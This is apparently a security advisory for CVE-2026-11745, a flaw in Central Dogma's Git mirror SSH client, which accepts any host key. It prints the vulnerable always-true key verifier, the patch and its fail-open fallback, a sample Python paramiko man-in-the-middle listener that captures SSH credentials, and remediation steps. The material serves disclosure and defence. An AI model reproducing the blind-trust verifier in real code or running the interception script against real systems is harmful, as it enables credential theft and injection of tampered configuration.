CVE-2026-11745: Host Key Verification Bypass in Central Dogma Git Mirror SSH Client

Central Dogma is an open-source, highly-available configuration repository based on Git, ZooKeeper, and HTTP/2. It serves as a centralized config management platform, pulling external application definitions via Git mirroring and distributing them to downstream microservices. Organizations rely on Central Dogma to securely store and dynamically sync sensitive parameters including access tokens, private database connection URIs, and API credentials.

The vulnerability is located within the centraldogma-server-mirror-git library, which handles synchronization with remote Git repositories over Git-over-SSH (git+ssh://). In affected versions, the custom Apache MINA SSHD SSH client implementation bypasses host key checks entirely. This exposes the outbound communication channel to intercept threats whenever Central Dogma triggers synchronization events.

The underlying security defect belongs to the Key Exchange without Entity Authentication class (CWE-322). Because Central Dogma trusts any server key presented during the SSH handshake, an on-path network attacker can successfully impersonate the target Git host. This architectural vulnerability compromises the transport layer security guarantee provided by SSH.

The root cause of this vulnerability lies in how the Git mirror SSH client initializes its session validation rules. During the cryptographic negotiation phase of the SSH connection, the remote server presents its public key. In standard SSH clients, this key is matched against a local registry of known and verified public keys, typically stored in the ~/.ssh/known_hosts file.

In Central Dogma versions prior to 0.84.0, the SshGitMirror client, defined inside the file server-mirror-git/src/main/java/com/linecorp/centraldogma/server/internal/mirror/SshGitMirror.java, overrides this default protection model. The client initialization code configures the Apache MINA SSHD builder to bypass filesystem-based host config files. It explicitly disables the parsing of local config files and restricts access to the standard host registry files.

Crucially, the implementation registers a custom ServerKeyVerifier lambda that unconditionally returns a boolean value of true. By doing so, the state engine of the SSH connection is directed to accept any host key presented during the key exchange. Because no secondary verification mechanism, such as a localized fingerprint lookup, was built into the client, the host identity verification flow is fully disabled.

To understand the implementation flaw, look at the vulnerable initialization method createSshClient() in SshGitMirror.java before version 0.84.0:

private SshClient createSshClient() {
    final ClientBuilder builder = ClientBuilder.builder();
    // Do not use local file system.
    builder.hostConfigEntryResolver(HostConfigEntryResolver.EMPTY);   // Line 146
    builder.fileSystemFactory(NoneFileSystemFactory.INSTANCE);        // Line 147
    // Do not verify the server key.
    builder.serverKeyVerifier((clientSession, remoteAddress, serverKey) -> true);  // Line 149
    ...
}

In this vulnerable architecture, lines 146 and 147 eliminate local operating system configuration fallbacks. Line 149 registers the blind verification callback, which returns true for all sessions, regardless of the values of remoteAddress or serverKey.

The fix, introduced in commit c5371ab2c6535eb118f62a5251f23423d4edc528, replaces the blind trust lambda with an iterative verification sequence that validates against a pre-configured list of approved fingerprints:

// Retrieve acceptable fingerprints from the plugin configurations
final List<String> acceptedHostKeys = getAcceptedHostKeys();
builder.serverKeyVerifier((clientSession, remoteAddress, serverKey) -> {
    // Extract the SHA-256 fingerprint of the presented key
    final String fingerprint = KeyUtils.getFingerPrint(BuiltinDigests.sha256, serverKey);
    for (String accepted : acceptedHostKeys) {
        if (fingerprint.equals(accepted)) {
            return true;
        }
    }
    if (!acceptedHostKeys.isEmpty() && warnedAddresses.add(remoteAddress)) {
        logger.warn("Host key verification failed for {} (fingerprint: {}).",
                    remoteAddress, fingerprint);
    }
    // If acceptedHostKeys is empty, fall back to true (Fail-Open Warning)
    return acceptedHostKeys.isEmpty();
});

While the patch implements a lookup validation loop, a residual vulnerability condition exists. If the administrator does not define a list of accepted host keys inside the mirroring service configuration, the code returns acceptedHostKeys.isEmpty(), which evaluates to true. This results in a fail-open execution model where unconfigured servers remain exposed to MITM exploits, accompanied only by a warning in the application logs.

The flow charts below compare the insecure default verification logic in affected versions against the cryptographic verification logic introduced in the patched versions.

Insecure Outbound Connection Flow (Pre-0.84.0)

Patched Fingerprint Check Flow (0.84.0+)

Exploitation of CVE-2026-11745 requires the adversary to occupy an on-path network position. This position is typically achieved via local network vector manipulation, such as DNS spoofing, ARP cache poisoning, BGP path manipulation, or container network interface (CNI) compromise within a Kubernetes cluster.

Once adjacent positioning is established, the attacker configures an automated listening script to intercept outbound TCP port 22 connections from the Central Dogma server. A sample exploit handler using Python's paramiko library can be constructed as follows:

import socket
import paramiko
 
# Generate a random local SSH host key to present to Central Dogma
HOST_KEY = paramiko.RSAKey.generate(2048)
 
class MitmSSHHandler(paramiko.ServerInterface):
    def check_auth_publickey(self, username, key):
        print(f"[+] Credential Captured - Username: {username}")
        print(f"[+] Key Material: {key.get_base64()}")
        return paramiko.AUTH_SUCCESSFUL
 
    def check_channel_request(self, kind, chanid):
        return paramiko.OPEN_SUCCEEDED if kind == 'session' else paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
 
transport = paramiko.Transport(socket.socket())
transport.add_server_key(HOST_KEY)
transport.start_server(server=MitmSSHHandler())

When Central Dogma initiates its scheduled Git mirroring routine, the client attempts to establish a connection with the target domain. The connection is redirected to the attacker's listener due to the poisoned routing table. Because the validation layer returns true for any key, Central Dogma continues with the SSH negotiation and submits authentication credentials to the rogue listener. The adversary successfully extracts the authentication data or injects modified commits during the subsequent repository pull phase.

The operational impact of this vulnerability is critical. Central Dogma's role as a trusted distribution point for application secrets and parameters means that any compromise of its upstream Git mirrors propagates throughout the environment. An attacker who successfully establishes a Man-in-the-Middle position can gain unauthorized control over core operational metadata.

First, attackers can read the contents of the mirrored repositories, exposing highly sensitive deployment keys, proprietary algorithms, database configurations, and infrastructure blueprints. This constitutes a severe loss of system confidentiality (VC:H, SC:H).

Second, attackers can inject modified configurations directly into the Central Dogma service pipeline. Because downstream microservices dynamically monitor Central Dogma via watch APIs, these malicious updates are automatically consumed at runtime. An attacker can use this supply chain manipulation vector to reconfigure active applications, disable safety mechanisms, or redirect backend database connections to external rogue services, causing severe systemic compromise (VI:H, SI:H).

To fully remediate CVE-2026-11745, system administrators must complete two distinct operations. Simply upgrading the binary package without configuring active fingerprints leaves the application in an insecure, fail-open state.

First, update the server dependencies to version 0.84.0 or higher within your dependency management configuration. This integrates the fingerprint comparison validation code:

// Gradle build definition
implementation("com.linecorp.centraldogma:centraldogma-server:0.84.0")

Second, explicitly populate the trustedHostKeys parameters in the server configuration file (dogma.json). This step disables the fail-open fallback behavior. Obtain the target fingerprint by querying your source repository host directly:

ssh-keyscan github.com 2>/dev/null | ssh-keygen -lf - -E sha256

Define the resulting fingerprints in the MirroringServicePluginConfig block:

{
  "pluginConfigs": [
    {
      "type": "com.linecorp.centraldogma.server.mirror.MirroringServicePluginConfig",
      "enabled": true,
      "trustedHostKeys": {
        "github.com": [
          "SHA256:+DiY3wvvV6TuJJhbpZisF/zLDA0zPMSvHdkr4UvCOqU",
          "SHA256:uNiVztksCsDhcc0u9e8BujQXVUpKZIDTMczCvj3tD2s"
        ]
      }
    }
  ]
}

Additionally, configure log monitoring pipelines to detect potential unconfigured instances. Set up alerts for the following log signature, which indicates that host verification is disabled:

No 'trustedHostKeys' configured in the mirroring service plugin config. SSH mirror connections will accept any host key without verification.